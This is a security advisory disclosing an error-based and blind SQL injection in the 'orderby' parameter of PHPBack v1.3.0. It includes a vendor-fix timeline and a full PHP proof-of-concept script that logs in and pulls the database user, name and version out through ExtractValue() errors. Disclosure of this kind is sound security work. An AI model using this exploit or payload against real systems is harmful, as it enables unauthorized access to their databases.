PHPBack 1.3.0 SQL Injection

`[+] Credits: hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/PHPBACK-v1.3.0-SQL-INJECTION.txt  
  
  
  
  
Vendor:  
================  
www.phpback.org  
  
  
  
Product:  
================  
PHPBack v1.3.0  
  
  
  
Vulnerability Type:  
===================  
SQL Injection  
  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
=====================  
  
PHPBack v1.3.0 is vulnerable to boolean blind and error based SQL Injection  
in the 'orderby' parameter.  
By sending SQL Injection query using MySQL XPATH function ExtractValue() we  
can grab information  
from the errors generated.  
  
This is useful when we get no output except MySQL errors, we can force data  
extraction through the error.  
When using ExtractValue() function to generate error, evaluated results of  
our SQL query will be embedded  
in query error message. Adding a colon "0x3a" to the beginning of the query  
will ensure parsing will always  
FAIL generating an error along with our extracted data. This method only  
works on MySQL version >= 5.1, we can  
then use SQL LIMIT function to move thru database informations.  
  
  
Users should upgrade to v1.3.1  
https://github.com/ivandiazwm/phpback/releases  
  
  
  
Exploit code(s):  
===============  
  
Run from CL...  
  
<?php  
error_reporting(0);  
#PHPBACK v1.3.0 ORDER BY SQL INJECTION POC  
#Credit: hyp3rlinx  
#ISR: apparitionsec  
#Site: hyp3rlinx.altervista.org  
#///////////////////////////////////////////////////////////////////  
#  
#run this BOT from CL it does following...  
#1) authenticates to target  
#2) SQL injection using XPATH query to create error and get output  
# for current MySQL USER(), DATABASE() and VERSION()  
#Supported in MySQL >= 5.1 only  
#====================================================================  
  
$email=$argv[1];  
$pwd=$argv[2];  
  
if($argc<3){  
echo "PHPBack 1.3.0 SQL Injection POC\r\n";  
echo "Outputs USER(), DATABASE() and VERSION() on XPATH Error!\r\n";  
echo "Supported in MySQL >= 5.1 versions only\r\n";  
echo "==========================================================\r\n";  
echo "Enter Creds: <email> <password>\r\n";  
echo "*** by hyp3rlinx *** \r\n";  
exit();  
}  
  
$target="localhost";  
$creds="email=$email&password=$pwd";  
  
$fp = fsockopen("localhost", 80, $errno, $errstr, 30);  
sock_chk($fp);  
  
#authenticate  
$out = "POST /phpback-1.3.0/action/login HTTP/1.0\r\n";  
$out .= "Host: $target\r\n";  
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";  
$out .= 'Content-Length: ' . strlen($creds) . "\r\n";  
$out .= "Connection: Close\r\n\r\n";  
fwrite($fp, $out);  
fwrite($fp, $creds);  
$phpsess="";  
$res="";  
while (!feof($fp)) {  
$res .= fgets($fp, 128);  
if(strpos($res,"\r\n\r\n")!==FALSE){break;}  
}  
  
$sess=get_session($fp);  
function get_session($sock){  
global $res;  
$idx=strpos($res,"PHPSESSID");  
$sess=substr($res,$idx,38);  
return $sess;  
}  
  
#SQL Injection  
$sql="search=1&orderby=title,extractvalue(0x0a,concat(0x0a,(select USER()),  
0x0a, (select DATABASE()), 0x0a, (select VERSION())))\r\n";  
  
$fp = fsockopen("localhost", 80, $errno, $errstr, 30);  
sock_chk($fp);  
  
$out = "POST /phpback-1.3.0/admin/ideas HTTP/1.0\r\n";  
$out .= "Host: $target\r\n";  
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";  
$out .= 'Content-Length: ' . strlen($sql) . "\r\n";  
$out .= "Cookie: " . $sess."\r\n";  
$out .= "Connection: Close\r\n\r\n";  
fwrite($fp, $out);  
fwrite($fp, $sql);  
while (!feof($fp)) {  
echo fgets($fp, 128);  
}  
fclose($fp);  
function sock_chk(&$fp){  
if (!$fp) {echo "Cant connect!";exit();}  
}  
  
?>  
  
  
  
Disclosure Timeline:  
=====================================  
Vendor Notification: April 17, 2016  
Vendor Confirms: April 17, 2016  
Vendor Release Fixed Version: April 19, 2016  
April 19, 2016 : Public Disclosure  
  
  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
  
Severity Level:  
================  
Medium  
  
  
  
Description:  
==================================================  
  
Request Method(s): [+] POST  
  
  
Vulnerable Product: [+] PHPBack v1.3.0  
  
  
Vulnerable Parameter(s): [+] 'orderby'  
  
====================================================  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit is given to  
the author.  
The author is not responsible for any misuse of the information contained  
herein and prohibits any malicious use of all security related information  
or exploits by the author or elsewhere. All content (c) hyp3rlinx.  
  
by hyp3rlinx  
`